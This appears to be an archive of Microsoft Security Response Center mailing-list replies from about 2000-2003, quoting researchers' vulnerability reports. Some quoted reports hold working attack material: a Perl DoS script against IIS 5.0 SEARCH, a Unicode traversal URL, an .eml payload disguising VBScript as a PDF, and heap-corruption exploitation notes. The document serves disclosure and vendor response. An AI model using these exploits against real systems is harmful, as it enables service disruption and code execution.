MS03-029 / Q823803 and RRAS Problems [im]
Microsoft is aware of a problem with the recently released security patch MS03-029 (http://www.microsoft.com/technet/security/bulletin/MS03-029.asp) This patch corrects a Moderate rated Denial of Service security vulnerability in Microsoft Windows NT 4.0 Server. Specifically there is a problem with the patch when installed on systems that are also running RRAS (Routing and Remote Access Service) that causes the RRAS Service to fail when the system is rebooted after applying the patch. It is important to note that the security fix itself is unaffected and the patch is still effective in correcting the DOS flaw. Microsoft is investigating this problem and will shortly issue a fix to correct it once that fix has been thoroughly tested. The security bulletin has been updated to reflect this. In the meantime customers affected by the problem may take one of the following actions. 1. Contact Microsoft Product Support Services for a hot fix that corrects the problem. This fix has not yet been extensively tested and should therefore only be applied by customers who are directly affected by the RRAS problem. 2. Install the patch if you do not need the RRAS service. The RRAS Service will fail to start however this will not impact normal operations other than those that use the RRAS Service. 3. Review the security bulletin and assess whether your enviroment requires the security patch. 4. Wait until a fix for the RRAS problem has been fully tested and released. The security bulletin will be updated when this happens. Regards, Microsoft Security Response Center
Contact information for Microsoft Security Response Center [tf]
-BEGIN PGP SIGNED MESSAGE- Periodically we hear people say they tried to contact Microsoft about a product or service vulnerability and that Microsoft didn't respond. We are concerned that people may not know how to report security vulnerabilities to Microsoft. The Microsoft Security Response Center investigates all reports of security vulnerabilities affecting Microsoft products. If you believe you have found a security vulnerability affecting a Microsoft product, we'd like to work with you to investigate it. You can contact the Microsoft Security Response Center by emailing [EMAIL PROTECTED] directly, or you can submit your report via our web-based vulnerability reporting form located at https://www.microsoft.com/technet/treeview/default.asp?url=/technet/se curity/bulletin/alertus.asp. Sincerely, Microsoft Security Response Center -BEGIN PGP SIGNATURE- Version: PGP 7.1 iQEVAwUBPwSbDI0ZSRQxA/UrAQH63Af/b+QJk1jCTiTBkNIpphqSOlA5tFgqYkBf Iip5FnEXF/2QJsW8YVbmupnLnnH2ig8HxzpVqzGZ69QhYttpNmmf8v35NcGQAdcU fYEKDl2SJxLxPiUPo6kAcO0yh/b37o/yqT/dfySn1gI2JDVCmhcOD/UM0eYEayIQ yH24oxAJVNGy88SZXd41zU3BSz61hyAmeQOLOuHkUIG9FWSMUaT0MA7dr6wdyI7Q ofCyhx+hmIC2RIShyhNu9Nt2xl+f8iJajzn9VorpsqrYCx/Pf8CixfL5di2HZUaN kqWBimMETruC0P16quVzFZcKxCaPi+qJg4qt30oc1R1B+votptMlAA== =PkAX -END PGP SIGNATURE-
RE: XWT Foundation Advisory
-BEGIN PGP SIGNED MESSAGE- Hi All - We'd like to set the record straight as regards the advisory published today by the XWT Foundation. Microsoft thoroughly investigated the issue described in the advisory, and discussed our findings in detail with the advisory's author. When the XWT Foundation solicited a response from Microsoft to include in the advisory, we prepared one that accurately reports the risk the issue poses and the solution we developed. It's a pity the XWT Foundation chose not to honor its promise to include our response. For the record, this is the vendor response we provided: = Microsoft has investigated the issue discussed in the report, and agrees that the issue is bona fide from a technical standpoint. However, because of the difficulties associated with exploiting it (discussed below), Microsoft believes it is most appropriate to address the issue via a service pack. Accordingly, a fix has been included in IE 6 Service Pack 1, which is due to be released shortly. Among the barriers that an attacker would face in attempting to exploit the vulnerability are the following: * It could only be exploited if the user clicked a link within an email - it could not be exploited without user interaction. * It would require that the attacker host a DNS server, a fact that would be traceable. * The attacker would need detailed information about the internals of the user's network, such as intranet server names. * If the intranet site were an HTTPS: site, a dialog would warn the user that the name on the site's certificate did not match the domain name. * If the intranet site used cookie-based authentication, the attack would fail because the attacker's site would be unable to authenticate on behalf of the user * The attack would not work against web servers configured to support multiple host headers, with the exception of any content served up at the "default" site. == = Microsoft stands by its assessment of the issue. Regards, Microsoft Security Response Center -BEGIN PGP SIGNATURE- Version: PGP 7.1 iQEVAwUBPUXCqo0ZSRQxA/UrAQEztAf/Y3qYCwMDTBSqZR0UrXTj4kA3m6bGWa2l 6LlGtHdKlwtSxWvwdXjsapSbfdQhMthV2+onjWi2lGDS6eqzvKbqf2kzVBBf6mU7 p8KxvgcpWGz3LLqQ1YtmLM7SuGgHayUq5ny6AlTMoYI0ZUMD8R9rVyRSM+CTMkQx irskV/2HbqmrA4K1BdTV59t6n96lA955KaQMfKChxjk/YmQuBb/77DO+UABEWpdE N3Sq2OgZOZxElLdBP3Yq/+sei6ixxH3g0UoAH+nOTTvYZDaizMWOPDnhVcwyx6mC R0lXp70xSB8OvUo89e27eLXz/FYmNBpv54b5gKGJ6HTzxl0YjjeolQ== =Uzha -END PGP SIGNATURE-
RE: Microsoft Security Bulletin MS01-040
Hi Paul -
There are several issues here, some of which relate to the mailer, some
of which involve Microsoft's signing process, and some of which involve
how the PGP product works. I'll do my best to explain what's happening,
but if you have questions about using PGP, Network Associates is really
the authoritative information source.
The signature status and the key validity are two different issues
entirely. The signature status ("good" in your note below) means that
the signature was successfully verified. This tells you that the email
hasn't been tampered with in transit, and that the public key you used
to verify it is the mate to the private key that was used to sign it.
What this does *not* tell you is whether the key is actually the
Microsoft key -- that's what the validitor indicator tells you. In the
case you cited below, the validity indicator ("invalid") means that PGP
couldn't certify that the key actually is the Microsoft key. There's a
fine shade of meaning here that's very important. "Invalid" doesn't
mean that the key isn't the Microsoft, only that PGP couldn't confirm
that it's the Microsoft key. PGP assesses the validity of a key by
seeing whether anyone you trust has vouched for its authenticity by
signing it. In this case, it says that the key is invalid because
nobody you trust has signed it.
As you noted, there are two signatures on the key. One is a
self-signature; the other belongs to a group called MS-CERT. Because
you don't have MS-CERT's key in your keyring, its signature on the key
is meaningless -- it doesn't have any bearing on the key's validity one
way or the other. We don't ask other parties to sign our key because
there are over 150,000 subscribers to our notification service, and it's
unlikely that there is a key (or even a reasonable set of keys) that is
trusted by all of them. Instead, we provide a different way to validate
that you've downloaded the bona fide Microsoft key. You can download
the key via an SSL session, and when downloading the key you can check
the certificate to confirm that you're actually at the Microsoft web
site. After downloading it, you can check the key's fingerprint against
the one posted on the download page and confirm that they're the same.
(BTW, you're right that the page on the mailer is currently returning an
error. We're working to get it returned to service, but in the meantime
an alternative URL is
http://www.microsoft.com/technet/security/bulletin/notify.asp).
Because the validity assessment from PGP is based on whether someone you
trust has signed the key, you can, if you like, make the key valid by
signing it yourself. However, there's no requirement to do this -- PGP
doesn't require that the be shown as valid in order to use it to verify
the signature. If you do decide to sign the key, you should only do so
after confirming via one of the methods above that it really is the
Microsoft key. Don't simply sign the key in order to make the error
message go away.
You're right that the name on the signing key ([EMAIL PROTECTED]) is
different from the address that sent the email ([EMAIL PROTECTED]).
However, this has nothing to do with whether the signature can be
verified, nor does it have anything to do with PGP's validity
assessment. When verifying the signature, PGP selects the right key in
your keyring based on the name associated with the signing key. The
"from" address on the email doesn't play any part in verifying the
signature. We use the [EMAIL PROTECTED] key to sign bulletin mailers
in order to minimize the number of Microsoft keys customers have to have
in their PGP keyrings. We need to have a key that customers can use to
send us encrypted mail at [EMAIL PROTECTED], and we also need one we
can use to sign bulletin mailers. We concluded that we could avoid a
certain amount of confusion by using the same key for both purposes.
As you noted, there have been a number of bogus bulletin mailers
circulating lately, and it's a good idea to always confirm the signature
on any mailer you receive. The signature verification on a mail could
fail for any of a number of innocuous reasons -- the Notification
Service's list server might flip a bit, the mail viewer on your local
machine might reformat the mail when displaying it, etc -- or it could
be a bogus mailer sent by a malicious user. The signature verification
process doesn't give you any way to know which is the case. Anytime the
signature verification fails, the best course of action is to visit
www.microsoft.com/technet/security and view the web-hosted version of
the bulletin. The version on the web is always the authoritative
version.
Hope that helps explain the situation. There's more information on this
subject available at
RE: Vulnerability in Windows 2000 TELNET service
-BEGIN PGP SIGNED MESSAGE- Microsoft began an investigation into this issue as soon as we learned of it, and are looking into this aggressively. We've checked our records, but it doesn't appear that this report was sent to [EMAIL PROTECTED] Just a reminder: the best place to send reports of security vulnerabilities involving Microsoft products is [EMAIL PROTECTED] Regards, [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.3 iQEUAwUBO2CZQY0ZSRQxA/UrAQEgTgf2II83/O/LYIynW22Q0/IMKF9N5MQ1RBb0 TTYxuVRiSEBTtCSzTMABmRr+WhDLgYJkIu3OLGEGukU8+Jqe1f4AcUI5DS9VJ1JS +k3HzrPUxSXFlMvAqxF+KmXqOworL0o/6cQO3ToSONKuH6X/A+P/oJqMVjDr4GyD QtSqOFRKUxdiUDl4FmLbUDrIzXkYTGPbhONIQUJBelTKsOKYaUdlKSKRqzdzBsBa I/SEmkMpHIVMOr4/vM6J+fYDIpzE4INhI2UIctvnGg/+Wx2/Bf7mYoYfO5ryBfKP C9S1wrsIEJtbDu6T9wQzGgXBRZsbdFi4ILextCdn8Q0Kjx0R9bfL =XyGn -END PGP SIGNATURE-
RE: Yahoo/Hotmail scripting vulnerability, worm propagation
-BEGIN PGP SIGNED MESSAGE- We are investigating this matter thoroughly and aggressively to determine whether or not it is valid. Contrary to the poster's claim, we have not received any direct communications on this possible (or alleged) vulnerability. Regards, [EMAIL PROTECTED] - -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 30, 2001 5:18 PM To: [EMAIL PROTECTED] Subject: Yahoo/Hotmail scripting vulnerability, worm propagation Title: Yahoo/Hotmail scripting vulnerability, worm propagation Synopsis Cross-site-scripting holes in Yahoo and Hotmail make it possible to replicate a Melissa-type worm through those webmail services. Description An email is sent to the victim, who uses Yahoo Mail or Hotmail. Inside the email is a link to yahoo or hotmail's own server. The link contains escaped javascript that is executed when the page is loaded. That javascript then opens a window that could nagivate through the victim's inbox, sending messages with the malicious link to every email address it finds in the inbox. Because the malicious javascript executes inside a page from the mail service's own server, there is no domain-bounding error when the javascript is controlling the window with the victim's inbox. Who is vulnerable Users of the Yahoo Mail and Hotmail service. Although the exploit requires a user to click on a link, two things work for this exploit. (1) The email comes from a familiar user (sent by the worm), and (2) The link is to a familiar, trusted server. Theoretically, more services are vulnerable, due to the proliferation of these holes, but the worm is limited to web mail services. Proof-of-Concept Sample links and the worm code can be found at: http://www.sidesport.com/webworm/ Solution Escaping all query data that is echoed to the screen eliminates this problem. This must be done on every page on a server that can send or read mail for the service. Vendor Status Both Yahoo and Hotmail were notified on May 23 2001. - -mparcens [EMAIL PROTECTED] Free, encrypted, secure Web-based email at www.hushmail.com -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.3 iQEVAwUBOxbSOI0ZSRQxA/UrAQHWSQf/R6eyO2m+Yfev7noeY/JOGaLjQp6GC/AZ EQCnSCfO9tfCVfOOabChwHn4OBQsMNSBlFPybbjVuXb35+YMqq7nV6X8rTpVnyg2 cSbA6Xma4dOfR0nA/OdPj6eBngN3kBfnRB7537z9fFJ1ryxq18ykge5+edp0Bdc1 4XXqkQT2K+Kid7vEj5+frYip2W1Dq1Ec2vnzSu6661OSfMdU1Rat4TdMLpJzZckV HwUlRFg1dAxpVdkL0OGbrTHhD1h95UiGmQMbnZRFwk5xMK68u6UrbX13zILaEzCR trtFmyF0LsyYqnRLPwMHmdSE6jZNY6ycVhbsj2+v8qyqyxMcEzuXCA== =z0RA -END PGP SIGNATURE-
Re: Microsoft ISA Server Vulnerability
Hi - You're right that the root problem here is a heap corruption. The Knowledge Base article we published on the subject (http://support.microsoft.com/support/kb/articles/q295/2/79.asp, "Cause") notes that this is the case. As part of our investigation, we examined whether the heap corruption could, in this case, be exploited to run code, but we were unable to find any way to do so. If you can demonstrate an ability to run code via the exploit, please contact us immediately as we'd be most interested in investigating the issue further. Regards, Scott Culp Security Program Manager Microsoft Corporation -Original Message- From: dark spyrit [mailto:[EMAIL PROTECTED]] Sent: Thursday, April 26, 2001 2:17 PM To: [EMAIL PROTECTED] Subject: Microsoft ISA Server Vulnerability Taken from the Microsoft bulletin - "Could an attacker use the vulnerability to take control of the ISA server? No. This is a denial of service attack only. There is no capability to usurp any administrative privileges. Could an attacker use the vulnerability to breach the security of the firewall? No. There is no capability to use this vulnerability to lower the security the firewall provides. It can only be used to prevent the Web Proxy service from passing any data at all. " Hmm I beg to differ.. after reading the advisory provided by the SecureXpert team I decided to look for myself. Going by the info they provided and a few slight buffer modifications we found ourselves breaking at this point.. .text:0101D726 mov ecx, [eax] .text:0101D728 pushedi .text:0101D729 mov edi, eax .text:0101D72B mov eax, [eax+4] .text:0101D72E pushesi .text:0101D72F mov [eax], ecx .text:0101D731 mov [ecx+4], eax .text:0101D734 callds:LeaveCriticalSection .text:0101D73A mov eax, edi .text:0101D73C pop edi .text:0101D73D pop esi .text:0101D73E retn It takes a bit of register fiddling to get somewhere.. but is certainly do-able. The data at the offset of eax is referencing the tail end of the user buffer sent (2 dwords). You can see by the code that you can now write to any writeable memory location with any data you wish - stored return address, saved exception handler.. whatever. The heap corruption makes exploiting this a slightly random and volatile exercise.. but we've had success getting code executing. That's all, just wanted to prove a point. Also, cash low.. need a new job. dark spyrit/beavuh - doin it for the cause!
Re: ActiveSync can access a locked workstation w/o unlocking
-BEGIN PGP SIGNED MESSAGE- Hi Jeff, We've checked our records, but are unable to find any record of a mail from you to the Security Response Center. If you did indeed send to [EMAIL PROTECTED], could you send us a copy of the mail to assist us in troubleshooting? In regards to the behavior you described, there are three points that are particularly important to keep in mind: 1. The desktop will only synchronize with a Pocket PC if a partnership has previously been created, and a partnership can only be created from the desktop side -- one can't be created by a Pocket PC. 2. If a PIN has been selected for the Pocket PC, an attacker would be unable to obtain any information from the device, regardless of whether it had been synchronized. 3. Even if an attacker obtained a Pocket PC for which a partnership already had been created, and knew the PIN for the device, he or she could only use it to obtain information from the desktop if ActiveSync had been configured to automatically synchronize anytime a device is connected. We'd like to make sure we've investigated the report fully. If you have seen cases outside of the above parameters, please let us know immediately and we'll begin an investigation. Best regards, Alex Uy Security Program Manager Microsoft Security Response Center - -Original Message- From: Jeff.Samples [mailto:[EMAIL PROTECTED]] Sent: Monday, April 16, 2001 5:06 AM To: [EMAIL PROTECTED] Subject: ActiveSync can access a locked workstation w/o unlocking Microsoft was notified on 3/28/2001, you may use my name when publishing this. I cannot register on your site, so I am trying the general e-mail addresses. Platforms tested: === Microsoft Windows 2000 Professional (build 2195) w/ SP1 Microsoft ActiveSync 3.1 (tested using HP Jornada 540 Series running Windows PocketPC (CE v 3.0.948 Build 9357) Issue: === MS ActiveSync can access files (Outlook appts, contacts, synced files, etc) from a Win2K workstation even though the workstation has been locked. By simply dropping the HP into the dock, or hooking it up to the COM port(depending on which sync method is configured), it will sync and download data from a "locked" workstation. Yikes! Jeffrey A. Samples, Vice President, Product Development TERRADON Communications Group <http://www.terradoncommunications.com/> ph. - 304.755.1324 fx. - 304.755.8274 -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.3 iQEVAwUBOttX3I0ZSRQxA/UrAQFthAf+PCus+UwNxYMiKN4o0wQs7a9qVQgKNT1q 0tBzXIpEl4xP+jhTBjKUNsxd7qawNrNL1U9om86Uqv2k67LdcfSyK6TexRBKXQuv jPUqDJs/U8kyq6gu4sbGcDM0brnX12JyyBHO98yU36Cyz6+LSgHUMM9ACIGMEbUN I9na5qAWjROtd5V25L9dgj2BT32b7wXlCccBjXdqPiDDRTbgV1DMTTo5+ORYQIP8 1ymFPa/PhyxXVQ7cLT7RLknPwKXhGJDk7+K9lblfVR7lEmHzY5OEqGtRUbY4q31B 1L47a1W5S+R/Iufc+UUDi0dQpE6lg5O9dGoaFo6lNcFxe4LG1nPsRA== =I4p2 -END PGP SIGNATURE-
Re: User may be fooled to execute programs browsing with IE5.1
-BEGIN PGP SIGNED MESSAGE-
Hi Jesus -
I'm afraid the situation may not be what you believe. First, your
system is not patched, despite what the dialogue says. The dialogue
is displayed if you try to install the patch on anything other than
IE 5.01 Service Pack 1 or IE 5.5 Service Pack 1, and the text of the
dialogue is incorrect. This error has been present in several recent
IE patches, and we're working to ensure that it's not present in
future ones. Meantime, here's the passage from the bulletin that
discusses it:
start --
Caveats:
If the patch is installed on a system running a version of IE
other
than the one it is designed for, an error message will be displayed
saying that the patch is not needed. This message is incorrect, and
customers who see this message should upgrade to a supported version
of IE and re-install the patches.
end --
We checked the code you provided below, and have verified that the
behavior you're seeing is not a vulnerability. Although you're right
that it's possible for a web site to initiate a file download, this
is by-design behavior and is unrelated to the vulnerability discussed
in MS01-020. A Q&A in the FAQ discusses the situation:
start --
I heard that even after applying this patch, an e-mail could
start a
file download automatically. Is this true?
Yes. However, this is not related to this vulnerability, and
doesn't
pose a security risk. It's always possible for an e-mail to start a
file download, and of course the author of the mail can give the file
a name that sounds innocuous. However, the file download cannot
actually begin unless and until the user selects a location to which
it should be downloaded, and clicks the OK button.
As a general rule, it is probably worth questioning the
trustworthiness of any e-mail that automatically starts a file
download. The best action is to simply click the Cancel button in the
dialogue.
end --
Hope that helps explain the situation. Regards,
Scott Culp
Security Program Manager
Microsoft Security Response Center
- -Original Message-
From: Jesús López de Aguileta [mailto:[EMAIL PROTECTED]
<mailto:[EMAIL PROTECTED]> ]
Sent: Monday, April 02, 2001 1:12 PM
To: [EMAIL PROTECTED]
Subject: User may be fooled to execute programs browsing with IE5.1
Hi,
Playing with Cuartango´s recently exploit
(http://www.kriptopolis.com/cua/eml.html
<http://www.kriptopolis.com/cua/eml.html> ) I've found that it´s
possible to trick an user to execute one file making he/she think
it's a data file of any kind (pdf, mpeg,...).
This works on both NT and 2000 using IE 5.1 (other platforms/IE
versions not tested).
I have already downloaded the MS01-20 patch in the systems tested but
both appears to be not vulnerable to Cuartango's exploit (msgbox:
"This update does not need to be installed on your system"), probably
because both have updated Media Player 7 installed.
I think this is a completely different issue and excuse me if it's
previously solved/commented.
Detail:
- 8<cut here---8<
From: "Ripped from Juan Carlos Garcia Cuartango"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
- --1
Content-Type: multipart/alternative;
boundary="2"
- --2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
cid:donthurtme.pdf height=3D0 width=3D0>
Done
- --2--
- --1
Content-Type: application/x-shockwave-flash;
name="hola.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID:
msgbox("Hello")
- --1
- 8<--cut here-8<
Making an .eml file with the above content and browsing it with IE 5,
displays a window for download or online browse the "FILE" (not
program) "donthurtme.pdf". If the user choose to online browse it,
the VBscript code execute.
Another interesting issue is that, when replacing: mime 1 part with:
- --1
Content-Type: application/;
name="hola.pdf%00.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID:
msgbox("Hello")
- --1
IE truncate in the popup window the name displaying "hola.pdf"
instead of "hola.pdf%00.vbs", making the user thinks that the
extension of the program is different. Notice that in this second
case, IE properly ask for "Run this PROGRAM" or "Save this PROGRAM",
only the extension may confuse the user.
Regards and excuse my poor English.
Jesus Lopez de Aguileta
-BEGIN PGP SIGNATURE-
Version: PGP Personal Privacy 6.5.3
iQEVA
Re: Microsoft - Personal Web Server Extended UNICODE Directory Traversal Vulnerability
Hi All - Personal Web Server is, of course, not intended to host web sites on the Internet. It's only intended to be used in protected environments such as home networks and the like. If you're hosting an Internet site, IIS is the appropriate product to use. Regards, Scott Culp Security Program Manager Microsoft Security Response Center -Original Message- From: Dinos Pastos [mailto:[EMAIL PROTECTED]] Sent: Sunday, March 18, 2001 2:16 AM To: [EMAIL PROTECTED] Subject: Microsoft - Personal Web Server Extended UNICODE Directory Traversal Vulnerability Hi all... Just wanted to point out that while testing my Default installation of Windows 98 running Microsoft Personal Web Server that came with the Windows98 SE CD I discovered that the famous IIS 4/5 Unicode Directory Traversal Vulnerability applies also to this Server just as bad as in IIS. The exploit method is the same : http://PWS-server/scripts/..%c1%9c../windows/notepad.exe I wont go in to detail on how to exploit a Windows machine... (Sorry script kiddies)... Patches: Dunno. Quickfixes: Use Linux. Dinos Pastos - [EMAIL PROTECTED] Security Advisor
Re: IIS 5.0 SEARCH method overflow
-BEGIN PGP SIGNED MESSAGE-
The patch released for Microsoft Security Bulletin MS01-016 resolves
this issue.
Regards,
[EMAIL PROTECTED]
- -Original Message-
From: Georgi Guninski [mailto:[EMAIL PROTECTED]]
Sent: Friday, March 16, 2001 12:09 PM
To: [EMAIL PROTECTED]
Subject: IIS 5.0 SEARCH method overflow
Georgi Guninski security advisory #39, 2001
IIS 5.0 SEARCH method overflow
Systems affected:
IIS 5.0
Risk: Unknown, may be very serious
Date: 16 March 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may
distribute it unmodified. You may not modify it and distribute it or
distribute parts of it without the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies, especially
the fact that Georgi Guninski is not liable for any damages caused by
direct or indirect use of the information or functionality provided
by this advisory or program. Georgi Guninski bears no responsibility
for content or misuse of this advisory or program or any derivatives
thereof.
Description:
This may be a duplicate of my advisory #38 -
http://www.guninski.com/iispropover.html
sorry if this is the case.
Microsoft did not answer my question whether it is the same issue. By
sending valid (not malformed :) ) but long SEARCH request to IIS 5.0
it is possible to restart all IIS related services.
The interesting point is the stack seems to be smashed and I believe
this may lead to executing arbitrary code though I have not achieved
it.
Details:
- --vv6.pl-
#!/usr/bin/perl
use IO::Socket;
printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";
if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; } $port = @ARGV[1];
$host = @ARGV[0]; sub vv() { $ll=$_[0]; #length of buffer $ch=$_[1];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort =>
$port,Proto => "TCP") || return; $over=$ch x $ll; #string to overflow
$xml='SELECT DAV:displayname from
SCOPE("'.$over.'")'."\n";
$l=length($xml);
$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost:
$host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,3000);
print "r=".$res;
close $socket;
}
do vv(126000,"V");
sleep(1);
do vv(126000,"V");
#Try 125000 - 128000
- ---
Workaround: some of the revisions of MS01-16 solves this issue, yet I
do not recommend using IIS in production environment.
Vendor status:
Microsoft was informed on 11 March 2001
Regards,
Georgi Guninski
http://www.guninski.com
-BEGIN PGP SIGNATURE-
Version: PGP Personal Privacy 6.5.3
iQEVAwUBOrLXnY0ZSRQxA/UrAQGtAAf/fEOa0d0pkHpELUEGhc6B/O1/X+vnEDGS
ghWJ3KWHjQfeoZVwBav9nRkJXqxY+BEuIts1RoYl2lwNftFKGuxudIj23tYLJ/a7
gWrImwYyImdB1AEJhTSJ/ImNiNrN9EnWvuBF4eBiKQVh2NbNdiiwSlLEVP3IK5WS
UFlUbbq+LXjb++J6CZjYFxIbRung1jIOk8V+3yH0CpvVWjX8uFfeZnJs7aArqtm6
6Oaglal4z4TmopDL5j6a+OplLKhKIWLQ85w8NWpA6bwOw2O69XdzLrYYi4eoI0md
rRHKSlJOmEk9PVeZDrLZuSqA8fUzjH+1yVUTsHuNoSmQokIv4/GCmw==
=xRhW
-END PGP SIGNATURE-
NIPC Advisory Regarding Recent Attacks Against E-commerce Sites
-BEGIN PGP SIGNED MESSAGE- Hi All - As you may be aware, the FBI's National Infrastructure Protection Center (NIPC) released an advisory today (http://www.nipc.gov/warnings/advisories/2001/01-003.htm) detailing recent attacks against e-commerce and e-banking sites. Virtually all of these attacks were carried out via known vulnerabilities for which patches have been available for months or, in some cases, years. Microsoft shares NIPC's concern about these attacks, and would like to ensure that all customers have taken the needed steps to protect their systems. We have published a companion article to the NIPC advisory, available at http://www.microsoft.com/technet/security/nipc.asp, that details the vulnerabilities involved in these attacks and the steps customers should take to ensure the security of their systems. If you haven't applied the patches for these vulnerabilities, please take the time to do it immediately. Regards, Scott Culp Security Program Manager Microsoft Security Response Center -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.3 iQEVAwUBOqg7SY0ZSRQxA/UrAQFncwgAnH88mUgXdvcFE8RV1Cp1Bd1fq5B2P9w4 wKQ8u1b/iILsAVthiE7poqecBjHc9kPgJuLDRlpZbx/Tgk7YS+nfKWjmd2KK04Ea ST88V9yBzsNzkK4rQ3FIgwvjeoqNxw4+/trFGbvNDTM6fj5iKqXXiLnNv9oZO2dD Itg+dQ7GSo0OlZBBKrXksGEfEazM7WEx4mV9uiGpSpw6HTz2pS7GBn48E+YVfaZN g93CAOH3/fbt4HT4+LrBXJpeKc4fH+VVyBg4sFCEcL/n69gQhfAb3e+BWwJ3u46Q 82Ho/I10mf1zbqAAhCVGqPSN3zucaZpaUWBrrGgVQJTXLPA9D9aDIw== =Mb4X -END PGP SIGNATURE-
Re: DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1 .0
-BEGIN PGP SIGNED MESSAGE- Hi All, Because this report makes some rather serious claims, and was sent to BugTraq at the start of a holiday weekend, we've been treating it as an urgent issue. We were concerned that, if the report were correct, malicious users might attack web sites while the system administrators were home for the weekend. We therefore called the IIS Security Team into the lab early this morning, and they worked throughout the day and well into the night in an effort to reproduce the denial of service the report describes. However, even after a thorough investigation using a lab setup that mirrors the one discussed in the report, we have not seen a denial of service. We contacted the author of the report, and he provided network traces from his system. But even when we replayed them against our lab setup, we did not see the server become unresponsive. (In fact, we noticed that even in the author's network trace, the servers continued to respond, albeit slowly, throughout the trace). At this point, we hypothesize that what appeared to be a denial of service have may actually been a case of flooding. We've seen cases today in which the high bandwidth of the lab setting enabled the client to generate invalid requests faster than the server could process them. (The inclusion of the %0%0 in the URL does marginally increase the work factor required to parse the request). However, in every case, the server's performance returned to normal when the flooding ceased, and it did (eventually) respond appropriately to every request. Nevertheless, we are continuing to investigate this issue. If anyone is able to reproduce the reported denial of service, we'd be most interested in any information you could provide. Please contact us at [EMAIL PROTECTED] Regards, Scott Culp Security Program Manager Microsoft Security Response Center - -Original Message- From: NtWaK0 [mailto:[EMAIL PROTECTED]] Sent: Saturday, January 13, 2001 8:53 AM To: BUGTRAQ; Microsoft Security Response Center Subject: DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0 Importance: High __ NtWaK0, SecurHack. Labs Security Advisory 1-13-2001 DOSSING IIS 4 or IIS5 fully patched using GET /%0%0 HTTP/1.0 __ oo Vulnerable Systems oo IIS 4 and IIS 5 even if fully patched. Synopsis While playing with miner in retina I sent this GET /%0%0 HTTP/1.0 to one of my IIS 4 and IIS 5 servers, I noticed that retina is taking a lot of time to jump to the next defined variable in the brain.ini which should be GET /%0%1 and so on. Retina Result o Command: GET /%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Command: GET /_vti_inf.html%0%0 HTTP/1.0 Notes:: Connection to server lost. Error:: 10060 Pinging the box while running retina even from different subnet it wont answer. You can connect to the web but you have to wait forever for it to load. I have tried that on IIS 4 and II 5 and same result Proof-Of-Concept 1- Get Retina From eeye.com 2- Install it 3- Edit the file Brain.ini located C:\Program Files\Retina 2.0\Modules\Retina\Miner\brain.ini
Re: Hotmail security hole - injecting JavaScript in IE using "@im port url(http://host/hostile.css)"
-BEGIN PGP SIGNED MESSAGE- Hi All - Wanted to advise that we've already corrected our servers to eliminate this vulnerability as of 4:00 PM PST today. Regards, [EMAIL PROTECTED] - -Original Message- From: Georgi Guninski [mailto:[EMAIL PROTECTED]] Sent: Monday, April 24, 2000 6:09 AM To: [EMAIL PROTECTED] Subject: Hotmail security hole - injecting JavaScript in IE using "@import url(http://host/hostile.css)" Georgi Guninski security advisory #11, 2000 Hotmail security hole - injecting JavaScript in IE using "@import url(http://host/hostile.css)" Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Hotmail allows executing JavaScript code in email messages using "@import url(http://host/hostile.css)", which may compromise user's Hotmail mailbox when viewed with Internet Explorer. Details: Several months ago in my Advisory #3, 2000 I alerted about a Hotmail bug with "@import url(javascript:...)". It was fixed, but now I found a similar bug. There is a new security flaw in Hotmail which allows injecting and executing JavaScript code in an email message using the the tag, @import and the "javascript:" protocol. This exploit works on Internet Explorer. Hotmail tries to filter JavaScript code for security reasons. Executing JavaScript when the user opens Hotmail email message allows for example displaying a fake login screen where the user enters his password which is then stolen. I don't want to make a scary demonstration, but it is also possible to read user's messages, to send messages from user's name and doing other mischief. It is also possible to get the cookie from Hotmail, which is dangerous. Hotmail deliberately escapes all JavaScript (it can escape) to prevent such attacks, but obviously there are holes. The following JavaScript is executed if embedded in a HTML message: - ---